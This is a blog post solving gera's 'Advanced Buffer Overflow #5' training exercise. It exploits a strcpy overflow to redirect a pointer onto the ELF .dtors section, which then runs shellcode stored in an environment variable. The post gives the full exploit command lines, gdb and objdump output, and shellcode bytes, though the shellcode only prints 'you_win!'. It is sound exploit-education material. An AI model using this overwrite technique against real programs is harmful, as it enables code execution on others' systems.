Monday, July 5, 2010

Advanced Buffer Overflow #5

/* abo5.c *
* specially crafted to feed your brain by gera */

/* You take the blue pill, you wake up in your bed, *
* and you believe what you want to believe *
* You take the red pill, *
* and I'll show you how deep goes the rabbit hole */

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
for (;*pbuf++=*(argc[2]++););
exit(1);
}

If we overflow buf, we can control pbuf to point to wherever. Since we also have a exit(), let's point pbuf at the .dtor section and let the argc[2] for loop copy in an address to our shellcode.

The .dtor (destructor) section in ELF executables is a list of function pointers to functions that run on program exit. The details and exploitation are described in "Overwriting the .dtors section".

main()'s stack frame looks something like:

eip
ebp
pbuf -> somewhere in the heap
.
.
buf

First order, let's control pbuf:

(gdb) run `perl -e 'print "A" x 272';` B C
Starting program: /home/dennis/gera/abo5/abo5 `perl -e 'print "A" x 272';` B C

Breakpoint 1, main (argv=4, argc=0xbffff4c4) at abo5.c:14
14 for (;*pbuf++=*(argc[2]++););
(gdb) x/x pbuf
0x41414141: Cannot access memory at address 0x41414141

Next order, let's take a look at the .dtors section a bit. It is located in the data section (starts at 0x080495e0 in this example) of the binary:

$ nm abo5 | grep -i dtor
080495e4 d __DTOR_END__
080495e0 d __DTOR_LIST__

It is writeable (as seen by the lack of the READONLY option) by default:

$ objdump -h abo5 | grep -A 1 dtor
16 .dtors 00000008 080495e0 080495e0 000005e0 2**2
CONTENTS, ALLOC, LOAD, DATA

Even if the program doesn't define any functions as destructors, the section still exists. It looks like this by default:

$ objdump -s -j .dtors abo5

abo5: file format elf32-i386

Contents of section .dtors:
80495e0 ffffffff 00000000

We will overwrite the 00000000 at 0x80495e4 with an address to our shellcode, but first we need to put the shellcode somewhere and get its address. We will put the shellcode into an environment variable:

$ export ABO5=`perl -e 'print "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43
\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";'

Then get the address of the ABO5:

$ cat env5.c
#include

/* this progname name must be same length as abo5 */

int
main()
{
char *envaddr;

envaddr = getenv("ABO5");
printf("ABO5 is at %p\n", envaddr);
}
$ ./env5
ABO5 is at 0xbffff837

Let's put it all together. First, we are overwriting pbuf to point at the .dtors section (0x80495e4). Now, the for loop copies in the address of our shellcode environment variable (0xbffff837) into pbuf (which points to .dtors):

$ abo5 `perl -e 'print "A" x 268 . "\xe4\x95\x04\x08";'` `perl -e 'prin
t "\x37\xf8\xff\xbf";'`
you_win!$

No comments:

Post a Comment